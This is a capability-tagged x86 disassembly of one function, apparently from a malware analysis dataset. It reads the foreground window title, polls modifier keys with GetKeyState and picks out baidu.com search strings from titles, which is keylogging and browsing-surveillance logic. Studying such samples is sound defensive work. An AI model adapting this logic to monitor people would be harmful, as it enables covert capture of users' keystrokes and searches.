Function at 0x403d00
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
mov eax, 0x30dc
call fcn.004acae0
push ebx
push ebp
push esi
mov edx, ecx
push edi
xor esi, esi
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x16]
mov word [esp + 0x14], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x105e]
mov word [esp + 0x105c], si
rep stosd dword es:[edi], eax
mov ecx, dword [edx + 0x2f3c]
push 0x824
stosw word es:[edi], ax
lea eax, [esp + 0x18]
mov dword [esp + 0x14], edx
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call ebx
mov si, ax
push 0x12
shr esi, 8
and esi, 0xff
call ebx
mov di, ax
push 0x10
shr edi, 8
and edi, 0xff
call ebx
shr eax, 8
and eax, 0xff
mov ebx, 0x50fd10
test esi, esi
mov ebp, ebx
je 0x403db8
test edi, edi
je 0x403da8
mov ebx, 0x6b4d10
mov ebp, 0x6b4f10
jmp 0x403dd6
test eax, eax
je 0x403dc8
mov ebx, 0x6b4910
mov ebp, 0x6b4b10
jmp 0x403dd6
test eax, eax
je 0x403dc8
mov ebx, 0x6b4510
mov ebp, 0x6b4710
jmp 0x403dd6
test esi, esi
je 0x403dd6
mov ebx, 0x6b4110
mov ebp, 0x6b4310
lea edx, [esp + 0x14]
push ebp
push edx
push ebx
push 0x4f656c
lea eax, [esp + 0x106c]
push 0x823
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
mov esi, dword [esp + 0x28]
add esp, 0x18
cmp word [esi + 0x3044], 0
lea edi, [esi + 0x3044]
je 0x403e4e
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_wcslen]
call ebx
add esp, 4
test eax, eax
jne 0x403e4e
push ebp
call ebx
add esp, 4
test eax, eax
jne 0x403e4e
lea ecx, [esp + 0x14]
push edi
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea edx, [esp + 0x14]
mov ecx, esi
push 1
push edx
call fcn.004032d0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30dc
ret
lea eax, [esp + 0x105c]
lea ecx, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov ebx, dword [sym.imp.MSVCRT.dll_wcsstr]
lea edx, [esp + 0x1c]
push str.baidu.com_s
push edx
call ebx
add esp, 0x10
test eax, eax
jne 0x403e8d
lea eax, [esp + 0x14]
push str.baidu.com_baidu_
push eax
call ebx
add esp, 8
test eax, eax
je 0x403f01
lea ecx, [esp + 0x14]
push 0x4f6528
push ecx
call ebx
mov edi, eax
add esp, 8
test edi, edi
je 0x403f01
mov ebp, dword [sym.imp.MSVCRT.dll_wcscat]
mov edx, edi
lea eax, [esp + 0x14]
lea ecx, [esp + 0x105c]
sub edx, eax
push 0x4f6510
sar edx, 1
push ecx
mov word [esp + edx*2 + 0x1064], 0
call ebp
add edi, 6
push 0x4f650c
push edi
call ebx
add esp, 0x10
test eax, eax
je 0x403eeb
lea edx, [esp + 0x105c]
push eax
push edx
call ebp
add esp, 8
lea eax, [esp + 0x105c]
lea ecx, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x20a6]
mov word [esp + 0x20a4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x20a4]
push 0x823
lea eax, [esp + 0x18]
push edx
push eax
mov ecx, 0x5e83a8
call fcn.004801a0
test eax, eax
jne 0x403f8a
lea ecx, [esp + 0x105c]
push ecx
call fcn.00484a50
add esp, 4
test eax, eax
je 0x403f8a
mov eax, dword [0x6b4108]
push 0x824
test eax, eax
je 0x403f70
lea edx, [esp + 0x18]
lea eax, [esp + 0x1060]
push edx
push eax
push 0xffffffffffffffff
jmp 0x403f83
mov eax, dword [0x6b5558]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x1060]
push ecx
push edx
push eax
mov ecx, esi
call fcn.00405ba0
lea ecx, [esp + 0x14]
push 1
push ecx
mov ecx, esi
call fcn.004032d0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30dc
ret